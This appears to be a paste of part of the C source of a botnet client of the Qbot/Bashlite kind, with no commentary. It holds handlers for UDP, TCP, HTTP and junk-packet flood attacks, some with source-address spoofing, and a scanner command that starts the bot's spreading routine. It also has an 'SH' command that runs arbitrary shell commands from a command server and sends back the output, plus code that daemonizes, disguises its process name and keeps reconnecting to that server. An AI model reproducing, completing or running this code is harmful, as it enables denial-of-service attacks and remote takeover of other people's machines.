  1630.                     close(mainCommSock);
  1631.                     _exit(0);
  1632.                 }
  1633.                 hi = strtok(NULL, ",");
  1634.             }
  1635.         } else {
  1636.             if (listFork()) { return; }
  1637.             sendHOLD(ip, port, time);
  1638.             close(mainCommSock);
  1639.  
  1640.             _exit(0);
  1641.         }
  1642.     }
  1643.  
  1644.     if(!strcmp(argv[0], "JUNK"))
  1645.     {
  1646.         if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  1647.         {
  1648.             return;
  1649.         }
  1650.  
  1651.         unsigned char *ip = argv[1];
  1652.         int port = atoi(argv[2]);
  1653.         int time = atoi(argv[3]);
  1654.  
  1655.         if(strstr(ip, ",") != NULL)
  1656.         {
  1657.             unsigned char *hi = strtok(ip, ",");
  1658.             while(hi != NULL)
  1659.             {
  1660.                 if(!listFork())
  1661.                 {
  1662.                     sendJUNK(hi, port, time);
  1663.                     close(mainCommSock);
  1664.                     _exit(0);
  1665.                 }
  1666.                 hi = strtok(NULL, ",");
  1667.             }
  1668.         } else {
  1669.             if (listFork()) { return; }
  1670.  
  1671.             sendJUNK(ip, port, time);
  1672.             close(mainCommSock);
  1673.  
  1674.             _exit(0);
  1675.         }
  1676.     }
  1677.  
  1678.     if(!strcmp(argv[0], "UDP"))
  1679.     {
  1680.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
  1681.         {
  1682.             return;
  1683.         }
  1684.  
  1685.         unsigned char *ip = argv[1];
  1686.         int port = atoi(argv[2]);
  1687.         int time = atoi(argv[3]);
  1688.         int spoofed = atoi(argv[4]);
  1689.         int packetsize = atoi(argv[5]);
  1690.         int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
  1691.  
  1692.         if(strstr(ip, ",") != NULL)
  1693.         {
  1694.             unsigned char *hi = strtok(ip, ",");
  1695.             while(hi != NULL)
  1696.             {
  1697.                 if(!listFork())
  1698.                 {
  1699.                     sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
  1700.                     close(mainCommSock);
  1701.                     _exit(0);
  1702.                 }
  1703.                 hi = strtok(NULL, ",");
  1704.             }
  1705.         } else {
  1706.             if (listFork()) { return; }
  1707.             sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
  1708.             close(mainCommSock);
  1709.  
  1710.             _exit(0);
  1711.         }
  1712.     }
  1713.  
  1714.     if(!strcmp(argv[0], "TCP"))
  1715.     {
  1716.         if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  1717.         {
  1718.             return;
  1719.         }
  1720.  
  1721.         unsigned char *ip = argv[1];
  1722.         int port = atoi(argv[2]);
  1723.         int time = atoi(argv[3]);
  1724.         int spoofed = atoi(argv[4]);
  1725.         unsigned char *flags = argv[5];
  1726.  
  1727.         int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  1728.         int psize = argc > 6 ? atoi(argv[6]) : 0;
  1729.  
  1730.         if(strstr(ip, ",") != NULL)
  1731.         {
  1732.             unsigned char *hi = strtok(ip, ",");
  1733.             while(hi != NULL)
  1734.             {
  1735.                 if(!listFork())
  1736.                 {
  1737.                     sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  1738.                     close(mainCommSock);
  1739.                     _exit(0);
  1740.                 }
  1741.                 hi = strtok(NULL, ",");
  1742.             }
  1743.         } else {
  1744.             if (listFork()) { return; }
  1745.             sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  1746.             close(mainCommSock);
  1747.  
  1748.             _exit(0);
  1749.         }
  1750.     }
  1751.  
  1752.     if (!strcmp(argv[0], "HTTP"))
  1753.     {
  1754.     // !* HTTP METHOD TARGET PORT PATH TIME POWER
  1755.     // !* HTTP POST/GET/HEAD hackforums.net 80 / 10 100
  1756.     if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) return;
  1757.     if (listFork()) return;
  1758.     SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
  1759.     exit(0);
  1760.     }
  1761.  
  1762.     if (!strcmp(argv[0], "ClearHistory"))
  1763.     {
  1764.     ClearHistory();
  1765.     }
  1766.  
  1767.     if(!strcmp(argv[0], "KILLATTK"))
  1768.     {
  1769.         int killed = 0;
  1770.         unsigned long i;
  1771.         for (i = 0; i < numpids; i++) {
  1772.             if (pids[i] != 0 && pids[i] != getpid()) {
  1773.                 kill(pids[i], 9);
  1774.                 killed++;
  1775.             }
  1776.         }
  1777.  
  1778.         if(killed > 0)
  1779.         {
  1780.         } else {
  1781.         }
  1782.     }
  1783.  
  1784.     if(!strcmp(argv[0], "LOLNOGTFO"))
  1785.     {
  1786.         exit(0);
  1787.     }
  1788. }
  1789.  
  1790. int initConnection()
  1791. {
  1792.     unsigned char server[512];
  1793.     memset(server, 0, 512);
  1794.     if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
  1795.     if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
  1796.     else currentServer++;
  1797.  
  1798.     strcpy(server, commServer[currentServer]);
  1799.     int port = 777;
  1800.     if(strchr(server, ':') != NULL)
  1801.     {
  1802.         port = atoi(strchr(server, ':') + 1);
  1803.         *((unsigned char *)(strchr(server, ':'))) = 0x0;
  1804.     }
  1805.  
  1806.     mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  1807.  
  1808.     if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
  1809.  
  1810.     return 0;
  1811. }
  1812.  
  1813. int getOurIP()
  1814. {
  1815.     int sock = socket(AF_INET, SOCK_DGRAM, 0);
  1816.     if(sock == -1) return 0;
  1817.  
  1818.     struct sockaddr_in serv;
  1819.     memset(&serv, 0, sizeof(serv));
  1820.     serv.sin_family = AF_INET;
  1821.     serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  1822.     serv.sin_port = htons(53);
  1823.  
  1824.     int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  1825.     if(err == -1) return 0;
  1826.  
  1827.     struct sockaddr_in name;
  1828.     socklen_t namelen = sizeof(name);
  1829.     err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  1830.     if(err == -1) return 0;
  1831.  
  1832.     ourIP.s_addr = name.sin_addr.s_addr;
  1833.  
  1834.     int cmdline = open("/proc/net/route", O_RDONLY);
  1835.     char linebuf[4096];
  1836.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  1837.     {
  1838.         if(strstr(linebuf, "\t00000000\t") != NULL)
  1839.         {
  1840.             unsigned char *pos = linebuf;
  1841.             while(*pos != '\t') pos++;
  1842.             *pos = 0;
  1843.             break;
  1844.         }
  1845.         memset(linebuf, 0, 4096);
  1846.     }
  1847.     close(cmdline);
  1848.  
  1849.     if(*linebuf)
  1850.     {
  1851.         int i;
  1852.         struct ifreq ifr;
  1853.         strcpy(ifr.ifr_name, linebuf);
  1854.         ioctl(sock, SIOCGIFHWADDR, &ifr);
  1855.         for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  1856.     }
  1857.  
  1858.     close(sock);
  1859. }
  1860.  
  1861. int main(int argc, unsigned char *argv[])
  1862. {
  1863.     if(SERVER_LIST_SIZE <= 0) return 0; //LOL PERSON WHO CONFIGURED DIS BOT IS RETARDED
  1864.  
  1865.     srand(time(NULL) ^ getpid());
  1866.     init_rand(time(NULL) ^ getpid());
  1867.     pid_t pid1;
  1868.     pid_t pid2;
  1869.     int status;
  1870.     int on;
  1871.     getOurIP();
  1872. #ifdef PROC
  1873.     strncpy(argv[0],PROC,strlen(argv[0]));
  1874.     for (on=1;on<argc;on++) memset(argv[on],0,strlen(argv[on]));
  1875. #endif
  1876.     printf("%sWelcome to the botnet [%s:%s:%d cores] :)%s", CLR, getBuild(), getEndianness(), getCoresAmount(), RST);
  1877.     if (pid1 = fork()) {
  1878.         waitpid(pid1, &status, 0);
  1879.         exit(0);
  1880.     } else if (!pid1) {
  1881.         if (pid2 = fork()) {
  1882.             exit(0);
  1883.         } else if (!pid2) {
  1884.         } else {
  1885.         }
  1886.     } else {
  1887.     }
  1888.  
  1889.     setsid();
  1890.     chdir("/");
  1891.  
  1892.     signal(SIGPIPE, SIG_IGN);
  1893.  
  1894.     while(1)
  1895.     {
  1896.         if(initConnection()) {
  1897.               printf("%sCould not connect to commServer!%s\n", CLR, RST);
  1898.             sleep(5);
  1899.             continue; }
  1900.         // printf("Connection established");
  1901.         sockprintf(mainCommSock, "BUILD [%s:%s:%d]", getBuild(), getEndianness(), getCoresAmount());
  1902.         char commBuf[4096];
  1903.         int got = 0;
  1904.         int i = 0;
  1905.         while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
  1906.         {
  1907.             for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  1908.                     unsigned int *newpids, on;
  1909.                     for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  1910.                     pids[on - 1] = 0;
  1911.                     numpids--;
  1912.                     newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  1913.                     for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  1914.                     free(pids);
  1915.                     pids = newpids;
  1916.                 }
  1917.  
  1918.             commBuf[got] = 0x00;
  1919.  
  1920.             trim(commBuf);
  1921.  
  1922.             if(!strcmp(argv[0], "SCANNER"))
  1923.         {
  1924.                 if(argc != 2)
  1925.                 {
  1926.                         sockprintf(mainCommSock, "SCANNER ON | OFF");
  1927.                         return;
  1928.                 }
  1929.  
  1930.                 if(!strcmp(argv[1], "OFF"))
  1931.                 {
  1932.                         if(scanPid == 0) return;
  1933.                         sockprintf(mainCommSock, "SCANNER STOPPED!");
  1934.                         kill(scanPid, 9);
  1935.                         scanPid = 0;
  1936.                 }
  1937.  
  1938.                 if(!strcmp(argv[1], "ON"))
  1939.                 {
  1940.                         if(scanPid != 0) return;
  1941.                         uint32_t parent;
  1942.                         parent = fork();
  1943.                         printf("attempting to start scanner\n");
  1944.                                     sockprintf(mainCommSock, "SCANNER STARTED!");
  1945.                         if (parent > 0) { scanPid = parent; return;}
  1946.                         else if(parent == -1) return;
  1947.  
  1948.                         StartTheLelz(1);
  1949.                         _exit(0);
  1950.                 }
  1951.         }
  1952.            
  1953.             if(strstr(commBuf, "PING") == commBuf)
  1954.             {
  1955.                 sockprintf(mainCommSock, "PONG");
  1956.                 continue;
  1957.             }
  1958.  
  1959.             if(strstr(commBuf, "DUP") == commBuf) exit(0);
  1960.  
  1961.             unsigned char *message = commBuf;
  1962.  
  1963.             if(*message == '!')
  1964.             {
  1965.                 unsigned char *nickMask = message + 1;
  1966.                 while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  1967.                 if(*nickMask == 0x00) continue;
  1968.                 *(nickMask) = 0x00;
  1969.                 nickMask = message + 1;
  1970.  
  1971.                 message = message + strlen(nickMask) + 2;
  1972.                 while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  1973.  
  1974.                 unsigned char *command = message;
  1975.                 while(*message != ' ' && *message != 0x00) message++;
  1976.                 *message = 0x00;
  1977.                 message++;
  1978.  
  1979.                 unsigned char *tmpcommand = command;
  1980.                 while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  1981.  
  1982.                 if(strcmp(command, "SH") == 0)
  1983.                 {
  1984.                     unsigned char buf[1024];
  1985.                     int command;
  1986.                     if (listFork()) continue;
  1987.                     memset(buf, 0, 1024);
  1988.                     szprintf(buf, "%s 2>&1", message);
  1989.                     command = fdpopen(buf, "r");
  1990.                     while(fdgets(buf, 1024, command) != NULL)
  1991.                     {
  1992.                         trim(buf);
  1993.                         sockprintf(mainCommSock, "%s", buf);
  1994.                         memset(buf, 0, 1024);
  1995.                         sleep(1);
  1996.                     }
  1997.                     fdpclose(command);
  1998.                     exit(0);
  1999.                 }
  2000.  
  2001.                 unsigned char *params[10];
  2002.                 int paramsCount = 1;
  2003.                 unsigned char *pch = strtok(message, " ");
  2004.                 params[0] = command;
  2005.  
  2006.                 while(pch)
  2007.                 {
  2008.                     if(*pch != '\n')
  2009.                     {
  2010.                         params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2011.                         memset(params[paramsCount], 0, strlen(pch) + 1);
  2012.                         strcpy(params[paramsCount], pch);
  2013.                         paramsCount++;
  2014.                     }
  2015.                     pch = strtok(NULL, " ");
  2016.                 }
  2017.  
  2018.                 processCmd(paramsCount, params);
  2019.  
  2020.                 if(paramsCount > 1)
  2021.                 {
  2022.                     int q = 1;
  2023.                     for(q = 1; q < paramsCount; q++)
  2024.                     {
  2025.                         free(params[q]);
  2026.                     }
  2027.                 }
  2028.             }
  2029.         }
  2030.     }
  2031.  
  2032.     return 0; //dis is da propa codez
  2033.  
  2034. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement